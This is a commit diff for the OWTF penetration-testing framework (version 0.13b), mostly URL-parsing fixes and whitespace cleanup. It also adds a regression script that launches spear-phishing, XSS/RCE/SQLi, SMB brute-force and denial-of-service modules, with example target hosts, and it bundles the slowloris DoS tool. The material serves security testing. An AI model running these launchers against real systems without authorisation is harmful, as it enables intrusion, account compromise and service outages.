Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse files

OWTF 0.13 HackPra

  • Loading branch information...
commit 8a8a89c0a8467dd96a0b0e438c72f459973306f3 1 parent 46d34c2
Abraham Aranguren 7a authored root committed
BIN  demos/OWTF_0.13b_HackPra_MultiURLExample.tar.gz
View
Binary file not shown
47 framework/config/config.py
View
@@ -29,6 +29,7 @@
The Configuration object parses all configuration files, loads them into memory, derives some settings and provides framework modules with a central repository to get info
'''
import sys, os, re, socket
+from urlparse import urlparse
from collections import defaultdict
from framework.config import plugin, health_check
from framework.lib.general import *
@@ -83,13 +84,13 @@ def LoadConfigFromFile(self, ConfigPath): # Load the configuration frominto a gl
self.Core.Error.FrameworkAbort("Problem in config file: '"+ConfigPath+"' -> Cannot parse line: "+line)
def ProcessOptions(self, Options):
- self.Set('FORCE_OVERWRITE', Options['Force_Overwrite']) # True/False
- self.Set('INTERACTIVE', Options['Interactive']) # True/False
- self.Set('SIMULATION', Options['Simulation']) # True/False
+ self.Set('FORCE_OVERWRITE', Options['Force_Overwrite']) # True/False
+ self.Set('INTERACTIVE', Options['Interactive']) # True/False
+ self.Set('SIMULATION', Options['Simulation']) # True/False
self.Plugin.LoadWebTestGroupsFromFile()
- self.LoadProfiles(Options['Profiles'])
- self.DeriveGlobalSettings()
- self.DeriveFromTarget(Options)
+ self.LoadProfiles(Options['Profiles'])
+ self.DeriveGlobalSettings()
+ self.DeriveFromTarget(Options)
# After all initialisations, run health-check:
self.HealthCheck.Run()
@@ -116,7 +117,7 @@ def DeriveFromTarget(self, Options):
for TargetURL in self.PrepareURLScope(Options['Scope']):
#print "Processing TargetURL="+str(TargetURL)
self.SetTarget(TargetURL) # Set the Target URL as the configuration offset, changes will be performed here
- self.DeriveConfigFromURL(TargetURL) # Derive some settings from Target URL and initialise everything
+ self.DeriveConfigFromURL(TargetURL) # Derive some settings from Target URL and initialise everything
self.Set('REVIEW_OFFSET', TargetURL)
# All virtual host URLs to be displayed under ip/port in summary:
self.Set('SUMMARY_HOST_IP', self.Get('HOST_IP'))
@@ -219,20 +220,30 @@ def PrepareURLScope(self, Scope): # Convert all targets to URLs
def DeriveURLSettings(self, TargetURL):
#print "self.Target="+self.Target
self.Set('TARGET_URL', TargetURL) # Set the target in the config
- # TODO: Use urlparse here
- protocol, crap, host = TargetURL.split('/')[0:3]
- DotChunks = TargetURL.split(':')
- URLScheme = DotChunks[0]
- Port = '80'
- if len(DotChunks) == 2: # Case: http://myhost.com -> Derive port from http / https
+ # TODO: Use urlparse here
+ ParsedURL = urlparse(TargetURL)
+ URLScheme = Protocol = ParsedURL.scheme
+ if ParsedURL.port == None: # Port is blank: Derive from scheme
+ Port = "80"
if 'https' == URLScheme:
- Port = '443'
- else: # Derive port from ":xyz" URL part
- Port = DotChunks[2].split('/')[0]
+ Port = '443'
+ else: # Port found by urlparse:
+ Port = str(ParsedURL.port)
+ #print "Port=" + Port
+ Host = ParsedURL.hostname
+ #protocol, crap, host = TargetURL.split('/')[0:3]
+ #DotChunks = TargetURL.split(':')
+ #URLScheme = DotChunks[0]
+ #Port = '80'
+ #if len(DotChunks) == 2: # Case: http://myhost.com -> Derive port from http / https
+ # if 'https' == URLScheme:
+ # Port = '443'
+ #else: # Derive port from ":xyz" URL part
+ # Port = DotChunks[2].split('/')[0]
self.Set('URL_SCHEME', URLScheme) # Some tools need this!
self.Set('PORT_NUMBER', Port) # Some tools need this!
- self.Set('HOST_NAME', host) # Set the top URL
+ self.Set('HOST_NAME', Host) # Set the top URL
self.Set('HOST_IP', self.GetIPFromHostname(self.Get('HOST_NAME')))
self.Set('IP_URL', self.Get('TARGET_URL').replace(self.Get('HOST_NAME'), self.Get('HOST_IP')))
@@ -240,7 +251,7 @@ def DeriveURLSettings(self, TargetURL):
HostnameChunks = self.Get('HOST_NAME').split('.')
if self.IsHostNameNOTIP() and len(HostnameChunks) > 2:
self.Set('TOP_DOMAIN', '.'.join(HostnameChunks[1:])) #Get "example.com" from "www.example.com"
- self.Set('TOP_URL', protocol+"//"+host) # Set the top URL
+ self.Set('TOP_URL', Protocol+"://" + Host + ":" + Port) # Set the top URL
def DeriveOutputSettingsFromURL(self, TargetURL):
self.Set('HOST_OUTPUT', self.Get('OUTPUT_PATH')+"/"+self.Get('HOST_IP')) # Set the output directory
2  framework/config/framework_config.cfg
View
@@ -1,4 +1,4 @@
-VERSION: 0.12 "Wicky"
+VERSION: 0.13b "HackPra"
INSTALL_SCRIPT: @@@FRAMEWORK_DIR@@@/install.sh
WEB_TEST_GROUPS: @@@FRAMEWORK_DIR@@@/framework/config/web_testgroups.cfg
7 framework/core.py
View
@@ -30,6 +30,7 @@
The core is the glue that holds the components together and allows some of them to communicate with each other
'''
import os, re
+from urlparse import urlparse
from framework import timer, error_handler, random
from framework.shell import blocking_shell, interactive_shell
from framework.wrappers.set import set_handler
@@ -63,9 +64,11 @@ def __init__(self, RootDir):
self.SMB = smb.SMB(self)
def IsInScopeURL(self, URL): # To avoid following links to other domains
- URLHostName = URL.split("/")[2]
+ ParsedURL = urlparse(URL)
+ #URLHostName = URL.split("/")[2]
for HostName in self.Config.GetAll('HOST_NAME'): # Get all known Host Names in Scope
- if URLHostName == HostName:
+ #if URLHostName == HostName:
+ if ParsedURL.hostname == HostName:
return True
return False
35 framework/db/db.py
View
@@ -99,11 +99,11 @@ def GetRecord(self, DBName, Index, Path = None):
def ModifyRecord(self, DBName, Index, Value, Path = None):
self.GetData(DBName, Path)[Index] = Value
- def GetRecordAsMatch(self, Record, NAME_TO_OFFSET):
- Match = defaultdict(list)
- for Name, Offset in NAME_TO_OFFSET.items():
+ def GetRecordAsMatch(self, Record, NAME_TO_OFFSET):
+ Match = defaultdict(list)
+ for Name, Offset in NAME_TO_OFFSET.items():
try:
- Match[Name] = Record[Offset]
+ Match[Name] = Record[Offset]
except IndexError:
self.Core.Error.Add("""DB.GetRecordsAsMatch ERROR: Match[Name] = Record[Offset] -> Index Error
Name="""+str(Name)+"""
@@ -111,25 +111,25 @@ def GetRecordAsMatch(self, Record, NAME_TO_OFFSET):
Match="""+str(Match)+"""
Record="""+str(Record)+"""
""")
- return Match
+ return Match
def Search(self, DBName, Criteria, NAME_TO_OFFSET): # Returns DB Records in an easy-to-use dictionary format { 'field1' : 'value1', ... }
- Matches = []
- for Record in self.Core.DB.GetData(DBName):
- Matched = True
- for Name, Value in Criteria.items():
+ Matches = []
+ for Record in self.Core.DB.GetData(DBName):
+ Matched = True
+ for Name, Value in Criteria.items():
try:
if isinstance(Value, list):
- if Record[NAME_TO_OFFSET[Name]] not in Value:
- Matched = False
+ if Record[NAME_TO_OFFSET[Name]] not in Value:
+ Matched = False
else: # Not a list
- if Value != Record[NAME_TO_OFFSET[Name]]:
- Matched = False
+ if Value != Record[NAME_TO_OFFSET[Name]]:
+ Matched = False
except IndexError:
self.Core.Error.Add("DB.Search ERROR: The offset '"+Name+"' is undefined! NAME_TO_OFFSET="+str(NAME_TO_OFFSET)+", Record="+str(Record))
- if Matched:
- Matches.append( self.GetRecordAsMatch(Record, NAME_TO_OFFSET) )
- return Matches
+ if Matched:
+ Matches.append( self.GetRecordAsMatch(Record, NAME_TO_OFFSET) )
+ return Matches
def GetSyncCount(self, DBName, Path = None):
return self.Get(DBName, Path)['SyncCount']
@@ -249,5 +249,4 @@ def AddError(self, ErrorTrace):
self.Add('ERROR_DB', Line)
def ErrorCount(self):
- return self.GetLength('ERROR_DB') # Counts error lines but we only want to know if there has been a framework error or not
-
+ return self.GetLength('ERROR_DB') # Counts error lines but we only want to know if there has been a framework error or not
3  framework/db/transaction_manager.py
View
@@ -167,7 +167,8 @@ def GetFileNameForID(self, ID, InScope = True):
return Prefix+ID+".txt"
def SaveFullTransactionFile(self, ID, Transaction):
- FileName = self.GetFileNameForID(ID, self.Core.IsInScopeURL(Transaction.URL))
+ #FileName = self.GetFileNameForID(ID, self.Core.IsInScopeURL(Transaction.URL))
+ FileName = self.GetFileNameForID(ID, Transaction.InScope)
return [ FileName, self.Core.DumpFile(FileName, self.AssembleTransactionForDB(Transaction), self.Core.Config.Get('TRANSACTION_LOG_TRANSACTIONS')) ] # Saving actual transaction
def SaveTransactionFiles(self, ID, Transaction):
13 framework/db/url_manager.py
View
@@ -111,17 +111,16 @@ def AddURL(self, URL, Found = None): # Adds a URL to the relevant DBs if not alr
return self.AddURLToDB(URL, DBPrefix, Found)
def AddURLsStart(self):
- self.NumURLsBefore = self.GetNumURLs()
+ self.NumURLsBefore = self.GetNumURLs()
def AddURLsEnd(self):
- NumURLsAfter = self.GetNumURLs()
- return cprint(str(NumURLsAfter-self.NumURLsBefore)+" URLs have been added and classified")
+ NumURLsAfter = self.GetNumURLs()
+ return cprint(str(NumURLsAfter-self.NumURLsBefore)+" URLs have been added and classified")
- def ImportURLs(self, URLList): # Extracts and classifies all URLs passed. Expects a newline separated URL list
+ def ImportURLs(self, URLList): # Extracts and classifies all URLs passed. Expects a newline separated URL list
self.AddURLsStart()
for URL in URLList:
- self.AddURL(URL)
+ self.AddURL(URL)
Message = self.AddURLsEnd()
cprint(Message)
- return Message
-
+ return Message
26 framework/http/requester.py
View
@@ -56,15 +56,15 @@ def https_open(self, req):
# SmartRedirectHandler is courtesy of: http://www.diveintopython.net/http_web_services/redirects.html
class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
- def http_error_301(self, req, fp, code, msg, headers):
- result = urllib2.HTTPRedirectHandler.http_error_301(self, req, fp, code, msg, headers)
- result.status = code
- return result
+ def http_error_301(self, req, fp, code, msg, headers):
+ result = urllib2.HTTPRedirectHandler.http_error_301(self, req, fp, code, msg, headers)
+ result.status = code
+ return result
- def http_error_302(self, req, fp, code, msg, headers):
- result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
- result.status = code
- return result
+ def http_error_302(self, req, fp, code, msg, headers):
+ result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
+ result.status = code
+ return result
class Requester:
def __init__(self, Core, Proxy):
@@ -100,7 +100,7 @@ def ProxyCheck(self):
URL = self.Core.Config.Get('PROXY_CHECK_URL')
#if self.NeedToAskBeforeRequest() and 'y' != raw_input("Proxy Check: Need to send a GET request to "+URL+". Is this ok?: 'y'+Enter= Continue, Enter= Abort Proxy Check\n"):
# return [ True, "Proxy Check OK: Proxy Check Aborted by User" ]
- RefusedBefore = self.RequestCountRefused
+ RefusedBefore = self.RequestCountRefused
cprint("Proxy Check: Avoid logging request again if already in DB..")
LogSettingBackup = False
if self.Core.DB.Transaction.IsTransactionAlreadyAdded(URL.strip()):
@@ -108,7 +108,7 @@ def ProxyCheck(self):
Transaction = self.GET(URL)
if LogSettingBackup:
self.LogTransactions(LogSettingBackup)
- RefusedAfter = self.RequestCountRefused
+ RefusedAfter = self.RequestCountRefused
if RefusedBefore < RefusedAfter: # Proxy is refusing connections
return [ False, "ERROR: Proxy Check error: The proxy is not listening or is refusing connections" ]
else:
@@ -167,9 +167,9 @@ def Request(self, URL, Method = None, POST = None):
# MUST create a new Transaction object each time so that lists of transactions can be created and process at plugin-level
self.Transaction = transaction.HTTP_Transaction(self.Core.Timer) # Pass the timer object to avoid instantiating each time
self.Transaction.Start(URL, POST, Method, self.Core.IsInScopeURL(URL))
- self.RequestCountTotal += 1
- try:
- Response = urllib2.urlopen(request)
+ self.RequestCountTotal += 1
+ try:
+ Response = urllib2.urlopen(request)
self.Transaction.SetTransaction(True, RawRequest[0], Response)
except urllib2.HTTPError, Error: # page NOT found
self.Transaction.SetTransaction(False, RawRequest[0], Error) # Error is really a response for anything other than 200 OK in urllib2 :)
3  framework/http/transaction.py
View
@@ -40,6 +40,9 @@ def __init__(self, Timer):
def ScopeToStr(self):
return str(self.IsInScope)[0]
+
+ def InScope(self):
+ return self.IsInScope
def Start(self, URL, Data, Method, IsInScope):
self.IsInScope = IsInScope
9 framework/lib/general.py
View
@@ -136,15 +136,6 @@ def GetUnique(List):
NewList.append(Item)
return NewList
-def GetFileAsList(Filename):
- try:
- Output = open(Filename, 'r').read().split("\n")
- cprint("Loaded file: '"+Filename+"'")
- except IOError, error:
- cprint("Cannot open file: '"+Filename+"' ("+str(sys.exc_info())+")")
- Output = []
- return Output
-
def PathsExist(PathList):
ValidPaths = True
for Path in PathList:
6 framework/report/summary.py
View
@@ -129,7 +129,7 @@ def RenderAUX(self):
return self.Core.Reporter.Render.DrawButtonLink('Auxiliary Plugins', self.Core.GetPartialPath(AuxSearch[0]['ReportPath']), { 'class' : 'report_index', 'target' : '' } )
return "" # Nothing to show
- def ReportStart(self):
+ def ReportStart(self):
self.Core.Reporter.CounterList = []
self.Core.Reporter.Header.Save('HTML_REPORT_PATH', { 'ReportType' : 'NetMap', 'Title' : 'Summary Report' } )
@@ -150,7 +150,7 @@ def ReportFinish(self):
var PassedTestIcons = """ + self.Core.Reporter.Render.DrawJSArrayFromList(self.Core.Config.Get('PASSED_TEST_ICONS').split(',')) + """
</script>
"""
- with open(self.Core.Config.Get('HTML_REPORT_PATH'), 'a') as file:
- file.write(HTML) # Closing HTML Report
+ with open(self.Core.Config.Get('HTML_REPORT_PATH'), 'a') as file:
+ file.write(HTML) # Closing HTML Report
cprint("Summary report written to: "+self.Core.Config.Get('HTML_REPORT_PATH'))
11 framework/selenium/selenium_handler.py
View
@@ -38,14 +38,14 @@ def __init__(self, Core):
def SetDisplay(self):
cprint("Setting Selenium's display ..")
from pyvirtualdisplay import Display
- self.Display = Display(visible=0, size=(800, 600))
- self.Display.start()
+ self.Display = Display(visible=0, size=(800, 600))
+ self.Display.start()
def SetDriver(self):
cprint("Setting Selenium's driver ..")
from selenium import webdriver
- self.Driver = webdriver.Firefox()
- self.Driver.implicitly_wait(30)
+ self.Driver = webdriver.Firefox()
+ self.Driver.implicitly_wait(30)
def InitSelenium(self):
if not self.Init: # Perform this expensive operation only once
@@ -57,5 +57,4 @@ def InitSelenium(self):
def CreateURLLauncher(self, Args):
self.InitSelenium()
from framework.selenium import url_launcher
- return url_launcher.URLLauncher(self, Args['BASE_URL'], Args['INPUT_FILE'])
-
+ return url_launcher.URLLauncher(self, Args['BASE_URL'], Args['INPUT_FILE'])
170 includes/owtf_reporting.js
View
@@ -36,7 +36,7 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
$(document).ready(function() {
if (DetailedReport) { //Take weights from parent window:
window.SeverityWeightOrder = window.parent.SeverityWeightOrder
- window.PassedTestIcons = window.parent.PassedTestIcons
+ window.PassedTestIcons = window.parent.PassedTestIcons
}
}
);
@@ -50,24 +50,24 @@ function GetRealPluginId(PluginId) { //Clean fake Plugin Id for reporting (to av
}
function AppendPluginToReport(PluginId) {
- //DestroyEditors(PluginId) //Destroy all other instances to avoid CKEditor errors
- //Plugin has notes + displayed now
- //NotesTextArea = GetById('note_text_' + PluginId)
- //NotesTextArea.value = NotesPreview.innerHTML
- //Content += '<div id="rep__' + PluginId + '">' + NotesPreview.parentNode.innerHTML + '</div>'
- //Super-dirty but easiest way to avoid code-duplication for now :P
- //NotesPreview.parentNode.innerHTML = '<div id="del__' + PluginId + '"></div>'
- NotesPreview = GetById('note_preview_' + PluginId)
- IdReplace = new RegExp(PluginId, "g");
- return '<div>' + NotesPreview.parentNode.innerHTML.replace(IdReplace, REPORT_PREFIX + PluginId) + '</div>' //Make all element ids different via replace
+ //DestroyEditors(PluginId) //Destroy all other instances to avoid CKEditor errors
+ //Plugin has notes + displayed now
+ //NotesTextArea = GetById('note_text_' + PluginId)
+ //NotesTextArea.value = NotesPreview.innerHTML
+ //Content += '<div id="rep__' + PluginId + '">' + NotesPreview.parentNode.innerHTML + '</div>'
+ //Super-dirty but easiest way to avoid code-duplication for now :P
+ //NotesPreview.parentNode.innerHTML = '<div id="del__' + PluginId + '"></div>'
+ NotesPreview = GetById('note_preview_' + PluginId)
+ IdReplace = new RegExp(PluginId, "g");
+ return '<div>' + NotesPreview.parentNode.innerHTML.replace(IdReplace, REPORT_PREFIX + PluginId) + '</div>' //Make all element ids different via replace
}
function CanReport(PluginId) {
- Plugin = GetPluginInfo(PluginId)
- Tab = GetById('tab_' + PluginId).parentNode
- CodeDiv = GetById(Plugin['Code'])
+ Plugin = GetPluginInfo(PluginId)
+ Tab = GetById('tab_' + PluginId).parentNode
+ CodeDiv = GetById(Plugin['Code'])
//console.log('CanReport => Tab.style.display=', Tab.style.display, 'Plugin=', Plugin, 'CodeDiv.style.display=', CodeDiv.style.display)
- return (PluginCommentsPresent(PluginId) && Tab.style.display != 'none' && CodeDiv.style.display != 'none')
+ return (PluginCommentsPresent(PluginId) && Tab.style.display != 'none' && CodeDiv.style.display != 'none')
}
function GetHTMLReportIntro() {
@@ -114,21 +114,21 @@ function GetHTMLPassedTestsByCode(Stats) {
}
function IsFinding(PluginId, Severity) {
- //console.log('IsPassedTest(' + PluginId + ')=', InArray(GetPluginField(PluginId, 'flag'), window.PassedTestIcons))
+ //console.log('IsPassedTest(' + PluginId + ')=', InArray(GetPluginField(PluginId, 'flag'), window.PassedTestIcons))
var Flag = GetPluginField(PluginId, 'flag')
- return Flag == Severity && InArray(Flag, window.SeverityWeightOrder)
+ return Flag == Severity && InArray(Flag, window.SeverityWeightOrder)
}
function FindingProcessPlugin(PluginId, Severity) {
- //console.log('PassedTestProcessPlugin(PluginId)=', PluginId, 'notes=', GetPluginField(PluginId, 'notes'))
- return GetPluginField(PluginId, 'notes')
+ //console.log('PassedTestProcessPlugin(PluginId)=', PluginId, 'notes=', GetPluginField(PluginId, 'notes'))
+ return GetPluginField(PluginId, 'notes')
}
function FindingProcessCode(LastPluginIdForCode, PluginContent, Severity) {
if (PluginContent.length == 0) {
PluginContent = '<p>No notes found for any plugin under this category</p>'
}
- return '<li>' + GetPluginField(LastPluginIdForCode, 'Title') + ' - ' + GetSeverityName(Severity) + '</li>' + PluginContent
+ return '<li>' + GetPluginField(LastPluginIdForCode, 'Title') + ' - ' + GetSeverityName(Severity) + '</li>' + PluginContent
}
function GetSeverityName(Severity) {
@@ -143,25 +143,25 @@ function GetHTMLFindingsBySeverityAndCode(Stats) {
for (i in window.SeverityWeightOrder) {
var Severity = window.SeverityWeightOrder[i]
var SeverityContent = '<li>' + GetSeverityName(Severity) + '</li>'
- var Data = ReportPluginsByCode( {
- 'ProcessPluginIF' : 'IsFinding(PluginId, "' + Severity + '")' //Limit processing by severity each time
- , 'ProcessPluginFunction' : 'FindingProcessPlugin(PluginId, "' + Severity + '")'
- , 'ProcessCodeFunction' : 'FindingProcessCode(LastPluginIdForCode, PluginContent, "' + Severity + '")'
- } )
- Stats[Severity] = Data['Count']
- TotalCount += Data['Count']
- if (Data['Count'] != 0) {
- SeverityContent += '<ul class="finding">'
- SeverityContent += Data['Content']
- SeverityContent += '</ul>'
- Content += SeverityContent
- }
+ var Data = ReportPluginsByCode( {
+ 'ProcessPluginIF' : 'IsFinding(PluginId, "' + Severity + '")' //Limit processing by severity each time
+ , 'ProcessPluginFunction' : 'FindingProcessPlugin(PluginId, "' + Severity + '")'
+ , 'ProcessCodeFunction' : 'FindingProcessCode(LastPluginIdForCode, PluginContent, "' + Severity + '")'
+ } )
+ Stats[Severity] = Data['Count']
+ TotalCount += Data['Count']
+ if (Data['Count'] != 0) {
+ SeverityContent += '<ul class="finding">'
+ SeverityContent += Data['Content']
+ SeverityContent += '</ul>'
+ Content += SeverityContent
+ }
}
Content += '</ol>'
if (TotalCount == 0) {
Content += '<p>no findings were found</p>'
}
- return Content
+ return Content
}
function GetHTMLRenderStats(Stats) {
@@ -197,64 +197,64 @@ function BuildReportBySeverityAndCode(Report) {
}
function ReportPluginsByCode(Options) {
- var Count = 0
+ var Count = 0
var Content = ''
- for (i in window.AllCodes) {
- Code = window.AllCodes[i]
- var PluginContent = ''
- var PluginCount = 0
- for (i in window.AllPlugins) {
- var PluginId = window.AllPlugins[i]
- if (GetPluginField(PluginId, 'Code') == Code && eval(Options['ProcessPluginIF'])) {
+ for (i in window.AllCodes) {
+ Code = window.AllCodes[i]
+ var PluginContent = ''
+ var PluginCount = 0
+ for (i in window.AllPlugins) {
+ var PluginId = window.AllPlugins[i]
+ if (GetPluginField(PluginId, 'Code') == Code && eval(Options['ProcessPluginIF'])) {
LastPluginIdForCode = PluginId
PluginContent += eval(Options['ProcessPluginFunction'])
- PluginCount += 1
- }
- }
- if (PluginCount > 0) {
+ PluginCount += 1
+ }
+ }
+ if (PluginCount > 0) {
Content += eval(Options['ProcessCodeFunction'])
- Count += PluginCount
- }
- }
- return { 'Content' : Content, 'Count' : Count }
+ Count += PluginCount
+ }
+ }
+ return { 'Content' : Content, 'Count' : Count }
}
function ToggleReportMode() {
- DetailedReportAnalyse()
- ToggleDivs( [ 'review_content', 'generated_report' ] )
- Report = GetById('generated_report')
- if (Report.style.display != 'none' && confirm('This can take a few seconds or minutes depending on the report size. Generate report?')) { //Display report
- window.ReportMode = true
+ DetailedReportAnalyse()
+ ToggleDivs( [ 'review_content', 'generated_report' ] )
+ Report = GetById('generated_report')
+ if (Report.style.display != 'none' && confirm('This can take a few seconds or minutes depending on the report size. Generate report?')) { //Display report
+ window.ReportMode = true
BuildReportBySeverityAndCode(Report)
- //AffectedPlugins = BuildReportByCode(Report)
- //Report.innerHTML += GetNoMatchesFoundMessage(AffectedPlugins)
- }
- else { //Restore Note boxes ..
- window.ReportMode = false
- //RestoreOriginalReport(Report)
- }
- /*
- 0) Set ReportMode to true
- 1) Hide everything
- 2) Create Report Div
- 3) Copy innerHTML from notes_preview
- 4) Remove innerHTML from notes_preview
+ //AffectedPlugins = BuildReportByCode(Report)
+ //Report.innerHTML += GetNoMatchesFoundMessage(AffectedPlugins)
+ }
+ else { //Restore Note boxes ..
+ window.ReportMode = false
+ //RestoreOriginalReport(Report)
+ }
+ /*
+ 0) Set ReportMode to true
+ 1) Hide everything
+ 2) Create Report Div
+ 3) Copy innerHTML from notes_preview
+ 4) Remove innerHTML from notes_preview
- Undo:
- 0) On any filter or undo filter => If ReportMode == true
- 1) Copy notes_preview from report div back to notes_preview
- 2) Destroy report div
- */
- //SetDisplayToAllPluginTabs('none') //Hide all plugin tabs
- //SetDisplayToDivs(window.AllPlugins, 'none')//Hide all plugin divs
- //SetDisplayToAllTestGroups('none') //Hide all index divs
- //SetDisplayToAllPluginTabs('none') //Hide all plugin tabs (it's confusing when you filter and see flags you did not filter by)
- //AffectedPlugins = UnfilterPluginsWhereCommentsPresent()
- //SetDisplayUnfilterPlugins('')
- //HighlightFilters('')
+ Undo:
+ 0) On any filter or undo filter => If ReportMode == true
+ 1) Copy notes_preview from report div back to notes_preview
+ 2) Destroy report div
+ */
+ //SetDisplayToAllPluginTabs('none') //Hide all plugin tabs
+ //SetDisplayToDivs(window.AllPlugins, 'none')//Hide all plugin divs
+ //SetDisplayToAllTestGroups('none') //Hide all index divs
+ //SetDisplayToAllPluginTabs('none') //Hide all plugin tabs (it's confusing when you filter and see flags you did not filter by)
+ //AffectedPlugins = UnfilterPluginsWhereCommentsPresent()
+ //SetDisplayUnfilterPlugins('')
+ //HighlightFilters('')
}
- /*var NumPassed = 0
- for (i in window.PassedTestIcons) {
- var Flag = window.PassedTestIcons[i]
- NumPassed += GetFlagCount(Flag)
- }*/
+/*var NumPassed = 0
+for (i in window.PassedTestIcons) {
+ var Flag = window.PassedTestIcons[i]
+ NumPassed += GetFlagCount(Flag)
+}*/
2  profiles/general/default.cfg
View
@@ -73,7 +73,7 @@ TOOL_TLSSLED: @@@FRAMEWORK_DIR@@@/tools/restricted/ssl/TLSSLed_v1.2.sh
#TOOL_SSL_CIPHER_CHECK: @@@FRAMEWORK_DIR@@@/tools/ssl/ssl-cipher-check.pl
TOOL_SSL_CIPHER_CHECK: @@@FRAMEWORK_DIR@@@/tools/restricted/ssl/ssl-cipher-check.pl
TOOL_HTTP_TRACEROUTE: @@@FRAMEWORK_DIR@@@/tools/discovery/web/rev_proxy/HTTP-Traceroute.py
-TOOL_HTTP_DOS_SLOWLORIS: @@@FRAMEWORK_DIR@@@/tools/restricted/dos/http/slowloris.pl
+TOOL_HTTP_DOS_SLOWLORIS: @@@FRAMEWORK_DIR@@@/tools/dos/web/slowloris.pl
TOOL_HTTP_DOS_HASH_COLLISION: @@@FRAMEWORK_DIR@@@/tools/dos/web/HashCollision-DOS-POC/HashtablePOC.py
# ************************* Password brute-force dictionaries / defaults ******************************
16 readme/CHANGELOG
View
@@ -1,4 +1,18 @@
-25/03/2012 - 0.13 "Trooper" pre-alpha release: Dedicated to Troopers, its organisers and attendants
+10/04/2012 - 0.13b "HackPra" pre-alpha release: Dedicated to HackPra (http://www.nds.rub.de/teaching/hackpra/), its organisers and attendants
+ + Inclusion of slowloris, thanks to RSNake for allowing redistribution!
+ + More indentation clean up in various files
+ + Fixed bug on DeriveURLSettings: Thanks to Sandro Gauci for reporting!
+ The home-brew parsing was resulting in an error like below with URLs like http://example.com:81
+ "Aborted by Framework: Cannot resolve Hostname: example.com:81"
+ URL parsing is now done via the urlparse library
+ + Fixed bug introduced above whereby urlparse was returning "None" for the port:
+ Reintroduced scheme check to handle this case and ensure the port is never blank regardless of URL format
+ + Fixed bug similar to the one in DeriveURLSettings on the OWTF Core:
+ IsInScopeURL was parsing the hostname from the URL in a home-brew fashion this worked ok most of the time
+ but in some cases could lead to bugs, core.py is now using urlparse for parsing the hostname from the URL
+ + Added regression test shell scripts to tests directory
+
+25/03/2012 - 0.13 "Trooper" pre-alpha release: Dedicated to Troopers (http://www.troopers.de/), its organisers and attendants
+ Inclusion of fuzzdb -allowed by licence- thanks!
+ Inclusion of HashCollision-DOS-POC by Christian Mehlmauer (@_FireFart_) thanks!
Location: owtf_dir/tools/dos/web/HashCollision-DOS-POC
65 tests/regression/owtf_aux_test.sh
View
@@ -0,0 +1,65 @@
+#!/usr/bin/env bash
+#
+# owtf is an OWASP+PTES-focused try to unite great tools and facilitate pen testing
+# Copyright (c) 2011, Abraham Aranguren <name.surname@gmail.com> Twitter: @7a_ http://7-a.org
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are met:
+# * Redistributions of source code must retain the above copyright
+# notice, this list of conditions and the following disclaimer.
+# * Redistributions in binary form must reproduce the above copyright
+# notice, this list of conditions and the following disclaimer in the
+# documentation and/or other materials provided with the distribution.
+# * Neither the name of the copyright owner nor the
+# names of its contributors may be used to endorse or promote products
+# derived from this software without specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY
+# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+#
+
+if [ $# -ne 1 ]; then
+ echo "Please specify OWTF directory to test!"
+ echo "Syntax $0 <OWTF release directory>"
+ exit
+fi
+OWTF_DIR=$1
+
+# Note you can obviously run as many variants as you would like for each test ..
+
+echo "[*] Running all defined Spear Phising tests .."
+$OWTF_DIR/owtf.py -f -o Spear_Phising # Run as defined in config file
+#$OWTF_DIR/owtf.py -f -o Spear_Phising PHISHING_PAYLOAD=1 EMAIL_PRIORITY=no SET_EMAIL_TEMPLATE=1 # Run specific test
+#$OWTF_DIR/owtf.py -f -o Spear_Phising EMAIL_TARGET=/root/emails_new.txt # Specify alternative email targets
+
+echo "[*] Running all defined Web tests .."
+$OWTF_DIR/owtf.py -f -o Selenium_URL_Launcher # Run as defined in config file
+#$OWTF_DIR/owtf.py -f -o Selenium_URL_Launcher CATEGORY=XSS BASE_URL=http://127.0.0.1/ # Run only XSS tests against the target
+#$OWTF_DIR/owtf.py -f -o Selenium_URL_Launcher CATEGORY=XSS,RCE,SQLI,CHARSET BASE_URL=http://127.0.0.1/,http://target2.com # Run all tests against the 2 targets
+#$OWTF_DIR/owtf.py -f -o Selenium_URL_Launcher CATEGORY=XSS,RCE BASE_URL=http://target2.com # Run tests against the defined site
+
+echo "[*] Running all defined Bruteforce tests .."
+$OWTF_DIR/owtf.py -f -o Password_Bruteforce # Run as defined in config file
+#$OWTF_DIR/owtf.py -f -o Password_Bruteforce RHOST=127.0.0.1 RPORT=445 CATEGORY=SMB # A lot more useful, going for what you care about
+
+echo "[*] Running all defined DoS tests .."
+$OWTF_DIR/owtf.py -f -o Direct_DoS_Launcher # Run as defined in config file
+#$OWTF_DIR/owtf.py -f -o Direct_DoS_Launcher RHOST=127.0.0.1 RPORT=80 CATEGORY=TCP,HTTP_WIN,HTTP # A lot more useful, going for what you care about
+#$OWTF_DIR/owtf.py -f -o Direct_DoS_Launcher RHOST=127.0.0.1 RPORT=443 CATEGORY=TCP,HTTP_WIN,HTTP,SSL # A lot more useful, going for what you care about
+
+echo "[*] Running all defined OS Exploits tests .."
